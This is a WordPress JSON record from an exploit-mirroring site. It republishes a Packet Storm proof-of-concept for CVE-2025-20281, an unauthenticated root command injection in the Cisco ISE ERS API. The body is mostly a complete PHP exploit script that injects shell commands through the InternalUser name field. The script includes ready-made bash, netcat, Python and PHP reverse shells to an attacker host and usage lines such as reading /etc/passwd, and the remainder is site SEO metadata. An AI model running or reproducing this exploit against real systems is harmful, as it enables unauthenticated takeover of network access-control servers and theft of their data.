{"id":27863,"date":"2025-11-27T12:50:02","date_gmt":"2025-11-27T12:50:02","guid":{"rendered":"http:\/\/localhost\/?p=27863"},"modified":"2025-11-27T12:50:02","modified_gmt":"2025-11-27T12:50:02","slug":"cisco-ise-api-30-command-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=27863","title":{"rendered":"\ud83d\udcc4 Cisco ISE API 3.0 Command Injection_PACKETSTORM:212153"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-11-27T17:52:17&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for a command injection vulnerability in Cisco ISE API version 3.0&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-11-27T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-11-27T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Cisco ISE API 3.0 Command Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212153&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-20281&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Cisco ISE API 3.0 command injection Exploits                                                                                |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.cisco.com\/                                                                                                      |\\n    =============================================================================================================================================\\n    \\n    POC : \\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/212002\/  \\u0026  \\tCVE-2025-20281\\n    \\n    \\n    [+] Summary : \\n    \\n          CVE-2025-20281 is a critical unauthenticated remote code execution vulnerability in Cisco Identity Services Engine (ISE) ERS API. \\n    \\t  The vulnerability allows attackers to execute arbitrary system commands as root without any authentication by exploiting command injection in the InternalUser name field.\\n    \\t  The vulnerability exists in the ERS (External RESTful Services) API of Cisco ISE where user input in the InternalUser name field is improperly sanitized before being processed. \\n    \\t  Attackers can inject system commands through crafted payloads that are executed with root privileges on the underlying operating system.\\n    \\n    [+] POC :\\n    \\n    Examples:\\n    \\n    Primary Use:\\n    \\n    # Vulnerability Testing\\n    \\n    php cisco_ise_exploit.php &#8211;whoami 192.168.1.100\\n    \\n    # Executing a Custom Command\\n    \\n    php cisco_ise_exploit.php &#8211;cmd \\&#8221;id\\&#8221; 192.168.1.100\\n    \\n    # Connectivity Testing Only\\n    \\n    php cisco_ise_exploit.php &#8211;test 192.168.1.100\\n    \\n    Reverse Shell:\\n    \\n    # Creating a Reverse Shell\\n    \\n    php cisco_ise_exploit.php &#8211;reverse 10.0.0.50 4444 192.168.1.100\\n    \\n    # With SSL Verification\\n    \\n    php cisco_ise_exploit.php &#8211;reverse 10.0.0.50 4444 &#8211;verify-ssl 192.168.1.100\\n    \\n    Advanced Commands:\\n    \\n    # Extract System Information\\n    \\n    php cisco_ise_exploit.php &#8211;cmd \\&#8221;uname -a\\&#8221; 192.168.1.100\\n    \\n    # Display Users\\n    \\n    php cisco_ise_exploit.php &#8211;cmd \\&#8221;cat \/etc\/passwd\\&#8221; 192.168.1.100\\n    \\n    # Scan Network\\n    \\n    php cisco_ise_exploit.php &#8211;cmd \\&#8221;ifconfig\\&#8221; 192.168.1.100\\n    \\n    \\n    \\u003c?php\\n    \/**\\n     * Unauthenticated PoC for CVE-2025-20281 on Cisco ISE ERS\\n     * by indoushka\\n     * \\n     * Exploits unauthenticated RCE in Cisco ISE ERS API through command injection\\n     * in the InternalUser name field.\\n     *\/\\n    \\n    class CiscoISEExploit {\\n        private $target;\\n        private $verify_ssl;\\n        \\n        public function __construct($target, $verify_ssl = false) {\\n            $this-\\u003etarget = $target;\\n            $this-\\u003everify_ssl = $verify_ssl;\\n        }\\n        \\n        private function makeRequest($url, $payload) {\\n            $ch = curl_init();\\n            \\n            $options = [\\n                CURLOPT_URL =\\u003e $url,\\n                CURLOPT_POST =\\u003e true,\\n                CURLOPT_POSTFIELDS =\\u003e json_encode($payload),\\n                CURLOPT_RETURNTRANSFER =\\u003e true,\\n                CURLOPT_HTTPHEADER =\\u003e [\\n                    &#8216;Content-Type: application\/json&#8217;,\\n                    &#8216;User-Agent: Cisco-ISE-Exploit\/1.0&#8217;\\n                ],\\n                CURLOPT_TIMEOUT =\\u003e 10,\\n                CURLOPT_SSL_VERIFYPEER =\\u003e $this-\\u003everify_ssl,\\n                CURLOPT_SSL_VERIFYHOST =\\u003e $this-\\u003everify_ssl ? 2 : 0\\n            ];\\n            \\n            curl_setopt_array($ch, $options);\\n            \\n            $response = curl_exec($ch);\\n            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n            $error = curl_error($ch);\\n            curl_close($ch);\\n            \\n            if ($error) {\\n                throw new Exception(\\&#8221;cURL error: \\&#8221; . $error);\\n            }\\n            \\n            return [\\n                &#8216;status&#8217; =\\u003e $http_code,\\n                &#8216;body&#8217; =\\u003e $response\\n            ];\\n        }\\n        \\n        public function exploit($cmd) {\\n            $url = \\&#8221;https:\/\/{$this-\\u003etarget}:9060\/ers\/sdk#_\\&#8221;;\\n            \/\/ Alternative URL if needed:\\n            \/\/ $url = \\&#8221;https:\/\/{$this-\\u003etarget}\/ers\/sdk#_\\&#8221;;\\n            \\n            $payload = [\\n                \\&#8221;InternalUser\\&#8221; =\\u003e [\\n                    \\&#8221;name\\&#8221; =\\u003e \\&#8221;pwn; {$cmd}; #\\&#8221;,\\n                    \\&#8221;password\\&#8221; =\\u003e \\&#8221;x\\&#8221;,  \/\/ dummy value, ignored by vulnerability\\n                    \\&#8221;changePassword\\&#8221; =\\u003e false\\n                ]\\n            ];\\n            \\n            echo \\&#8221;[*] Sending payload to: {$url}\\\\n\\&#8221;;\\n            echo \\&#8221;[*] Command: {$cmd}\\\\n\\\\n\\&#8221;;\\n            \\n            try {\\n                $response = $this-\\u003emakeRequest($url, $payload);\\n                echo \\&#8221;[+] HTTP {$response[&#8216;status&#8217;]}\\\\n\\&#8221;;\\n                echo \\&#8221;Response:\\\\n{$response[&#8216;body&#8217;]}\\\\n\\&#8221;;\\n                \\n                return $response;\\n            } catch (Exception $e) {\\n                echo \\&#8221;[!] Exploit failed: \\&#8221; . $e-\\u003egetMessage() . \\&#8221;\\\\n\\&#8221;;\\n                return false;\\n            }\\n        }\\n        \\n        public function buildReverseShell($lhost, $lport) {\\n            \/\/ Multiple reverse shell options for compatibility\\n            $shells = [\\n                \/\/ Bash reverse shell\\n                \\&#8221;\/bin\/bash -c &#8216;\/bin\/bash -i \\u003e\\u0026 \/dev\/tcp\/{$lhost}\/{$lport} 0\\u003e\\u00261&#8217;\\&#8221;,\\n                \\n                \/\/ Netcat traditional\\n                \\&#8221;nc -e \/bin\/bash {$lhost} {$lport}\\&#8221;,\\n                \\n                \/\/ Netcat with -e support\\n                \\&#8221;rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2\\u003e\\u00261|nc {$lhost} {$lport} \\u003e\/tmp\/f\\&#8221;,\\n                \\n                \/\/ Python reverse shell\\n                \\&#8221;python -c &#8216;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\\\\&#8221;{$lhost}\\\\\\&#8221;,{$lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\\\\&#8221;\/bin\/sh\\\\\\&#8221;,\\\\\\&#8221;-i\\\\\\&#8221;]);&#8217;\\&#8221;,\\n                \\n                \/\/ PHP reverse shell\\n                \\&#8221;php -r &#8216;\\\\$s=fsockopen(\\\\\\&#8221;{$lhost}\\\\\\&#8221;,{$lport});exec(\\\\\\&#8221;\/bin\/sh -i \\u003c\\u00263 \\u003e\\u00263 2\\u003e\\u00263\\\\\\&#8221;);&#8217;\\&#8221;\\n            ];\\n            \\n            \/\/ Return bash reverse shell by default (most reliable)\\n            return $shells[0];\\n        }\\n        \\n        public function testConnection() {\\n            $url = \\&#8221;https:\/\/{$this-\\u003etarget}:9060\/ers\/sdk\\&#8221;;\\n            echo \\&#8221;[*] Testing connection to: {$url}\\\\n\\&#8221;;\\n            \\n            $ch = curl_init();\\n            curl_setopt_array($ch, [\\n                CURLOPT_URL =\\u003e $url,\\n                CURLOPT_RETURNTRANSFER =\\u003e true,\\n                CURLOPT_TIMEOUT =\\u003e 5,\\n                CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n                CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n                CURLOPT_NOBODY =\\u003e true  \/\/ HEAD request\\n            ]);\\n            \\n            $response = curl_exec($ch);\\n            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n            curl_close($ch);\\n            \\n            if ($http_code \\u003e 0) {\\n                echo \\&#8221;[+] Target is reachable (HTTP {$http_code})\\\\n\\&#8221;;\\n                return true;\\n            } else {\\n                echo \\&#8221;[!] Target is not reachable\\\\n\\&#8221;;\\n                return false;\\n            }\\n        }\\n    }\\n    \\n    function showBanner() {\\n        echo \\&#8221;=== CVE-2025-20281 Cisco ISE Unauthenticated RCE Exploit ===\\\\n\\&#8221;;\\n        echo \\&#8221;=== PHP Version &#8211; Unauthenticated Command Injection ===\\\\n\\\\n\\&#8221;;\\n    }\\n    \\n    function showHelp() {\\n        echo \\&#8221;Usage: php cisco_ise_exploit.php [OPTIONS] \\u003ctarget\\u003e\\\\n\\\\n\\&#8221;;\\n        echo \\&#8221;Arguments:\\\\n\\&#8221;;\\n        echo \\&#8221;  \\u003ctarget\\u003e              IP address or hostname of Cisco ISE PAN\\\\n\\\\n\\&#8221;;\\n        echo \\&#8221;Options:\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;whoami              Run &#8216;whoami&#8217; command to test RCE\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;reverse LHOST LPORT Spawn reverse shell to LHOST:LPORT\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;cmd COMMAND         Execute custom command\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;test                Test connection to target only\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;verify-ssl          Enable SSL certificate verification\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;help                Show this help message\\\\n\\\\n\\&#8221;;\\n        echo \\&#8221;Examples:\\\\n\\&#8221;;\\n        echo \\&#8221;  php cisco_ise_exploit.php &#8211;whoami 192.168.1.100\\\\n\\&#8221;;\\n        echo \\&#8221;  php cisco_ise_exploit.php &#8211;reverse 10.0.0.50 4444 192.168.1.100\\\\n\\&#8221;;\\n        echo \\&#8221;  php cisco_ise_exploit.php &#8211;cmd &#8216;id&#8217; 192.168.1.100\\\\n\\&#8221;;\\n        echo \\&#8221;  php cisco_ise_exploit.php &#8211;test 192.168.1.100\\\\n\\&#8221;;\\n    }\\n    \\n    function parseArguments($argv) {\\n        $options = [\\n            &#8216;target&#8217; =\\u003e null,\\n            &#8216;whoami&#8217; =\\u003e false,\\n            &#8216;reverse&#8217; =\\u003e null,\\n            &#8216;cmd&#8217; =\\u003e null,\\n            &#8216;test&#8217; =\\u003e false,\\n            &#8216;verify_ssl&#8217; =\\u003e false,\\n            &#8216;help&#8217; =\\u003e false\\n        ];\\n        \\n        \/\/ Simple argument parsing\\n        for ($i = 1; $i \\u003c count($argv); $i++) {\\n            switch ($argv[$i]) {\\n                case &#8216;&#8211;whoami&#8217;:\\n                    $options[&#8216;whoami&#8217;] = true;\\n                    break;\\n                case &#8216;&#8211;reverse&#8217;:\\n                    if ($i + 2 \\u003c count($argv)) {\\n                        $options[&#8216;reverse&#8217;] = [$argv[$i + 1], $argv[$i + 2]];\\n                        $i += 2;\\n                    }\\n                    break;\\n                case &#8216;&#8211;cmd&#8217;:\\n                    if ($i + 1 \\u003c count($argv)) {\\n                        $options[&#8216;cmd&#8217;] = $argv[$i + 1];\\n                        $i += 1;\\n                    }\\n                    break;\\n                case &#8216;&#8211;test&#8217;:\\n                    $options[&#8216;test&#8217;] = true;\\n                    break;\\n                case &#8216;&#8211;verify-ssl&#8217;:\\n                    $options[&#8216;verify_ssl&#8217;] = true;\\n                    break;\\n                case &#8216;&#8211;help&#8217;:\\n                    $options[&#8216;help&#8217;] = true;\\n                    break;\\n                default:\\n                    \/\/ Assume this is the target if it doesn&#8217;t start with &#8211;\\n                    if (!str_starts_with($argv[$i], &#8216;&#8211;&#8216;)) {\\n                        $options[&#8216;target&#8217;] = $argv[$i];\\n                    }\\n                    break;\\n            }\\n        }\\n        \\n        return $options;\\n    }\\n    \\n    \/\/ Main execution\\n    if (php_sapi_name() === &#8216;cli&#8217;) {\\n        showBanner();\\n        \\n        $options = parseArguments($argv);\\n        \\n        if ($options[&#8216;help&#8217;] || !$options[&#8216;target&#8217;]) {\\n            showHelp();\\n            exit(0);\\n        }\\n        \\n        $exploit = new CiscoISEExploit($options[&#8216;target&#8217;], $options[&#8216;verify_ssl&#8217;]);\\n        \\n        \/\/ Test connection only\\n        if ($options[&#8216;test&#8217;]) {\\n            $exploit-\\u003etestConnection();\\n            exit(0);\\n        }\\n        \\n        \/\/ Determine command to execute\\n        $cmd = &#8221;;\\n        if ($options[&#8216;whoami&#8217;]) {\\n            $cmd = &#8216;whoami&#8217;;\\n        } elseif ($options[&#8216;reverse&#8217;]) {\\n            list($lhost, $lport) = $options[&#8216;reverse&#8217;];\\n            $cmd = $exploit-\\u003ebuildReverseShell($lhost, $lport);\\n            echo \\&#8221;[*] Reverse shell payload generated for {$lhost}:{$lport}\\\\n\\&#8221;;\\n        } elseif ($options[&#8216;cmd&#8217;]) {\\n            $cmd = $options[&#8216;cmd&#8217;];\\n        } else {\\n            echo \\&#8221;[!] No command specified. Use &#8211;whoami, &#8211;reverse, or &#8211;cmd\\\\n\\&#8221;;\\n            showHelp();\\n            exit(1);\\n        }\\n        \\n        echo \\&#8221;[*] Target: {$options[&#8216;target&#8217;]}\\\\n\\&#8221;;\\n        echo \\&#8221;[*] Command: {$cmd}\\\\n\\\\n\\&#8221;;\\n        \\n        \/\/ Execute exploit\\n        $result = $exploit-\\u003eexploit($cmd);\\n        \\n        if ($result) {\\n            echo \\&#8221;\\\\n[+] Exploit attempt completed.\\\\n\\&#8221;;\\n            \\n            if ($options[&#8216;reverse&#8217;]) {\\n                echo \\&#8221;[*] Check your listener for reverse shell connection\\\\n\\&#8221;;\\n            }\\n        } else {\\n            echo \\&#8221;\\\\n[!] Exploit failed.\\\\n\\&#8221;;\\n            exit(1);\\n        }\\n        \\n    } else {\\n        echo \\&#8221;This script must be run from the command line.\\\\n\\&#8221;;\\n        exit(1);\\n    }\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212153&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:10,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212153\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-11-27T17:52:17&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for a command injection vulnerability in Cisco ISE API version 3.0&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-11-27T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-11-27T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Cisco ISE API 3.0 Command Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212153&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-20281&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n | # Title :&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,13,53,7,11,5],"class_list":["post-27863","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Cisco ISE API 3.0 Command Injection_PACKETSTORM:212153 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=27863\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Cisco ISE API 3.0 Command Injection_PACKETSTORM:212153 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-11-27T17:52:17&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for a command injection vulnerability in Cisco ISE API version 3.0&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-11-27T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-11-27T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Cisco ISE API 3.0 Command Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212153&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-20281&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n | # Title :...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=27863\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-11-27T12:50:02+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27863#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27863\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Cisco ISE API 3.0 Command Injection_PACKETSTORM:212153\",\"datePublished\":\"2025-11-27T12:50:02+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27863\"},\"wordCount\":1581,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-10.0\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=27863#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27863\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27863\",\"name\":\"\ud83d\udcc4 Cisco ISE API 3.0 Command Injection_PACKETSTORM:212153 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-11-27T12:50:02+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27863#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=27863\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27863#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Cisco ISE API 3.0 Command Injection_PACKETSTORM:212153\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Cisco ISE API 3.0 Command Injection_PACKETSTORM:212153 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=27863","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Cisco ISE API 3.0 Command Injection_PACKETSTORM:212153 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-11-27T17:52:17&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for a command injection vulnerability in Cisco ISE API version 3.0&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-11-27T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-11-27T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Cisco ISE API 3.0 Command Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212153&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-20281&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n | # Title :...","og_url":"https:\/\/zero.redgem.net\/?p=27863","og_site_name":"zero redgem","article_published_time":"2025-11-27T12:50:02+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"8 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=27863#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=27863"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Cisco ISE API 3.0 Command Injection_PACKETSTORM:212153","datePublished":"2025-11-27T12:50:02+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=27863"},"wordCount":1581,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-10.0","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=27863#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=27863","url":"https:\/\/zero.redgem.net\/?p=27863","name":"\ud83d\udcc4 Cisco ISE API 3.0 Command Injection_PACKETSTORM:212153 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-11-27T12:50:02+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=27863#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=27863"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=27863#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Cisco ISE API 3.0 Command Injection_PACKETSTORM:212153"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero 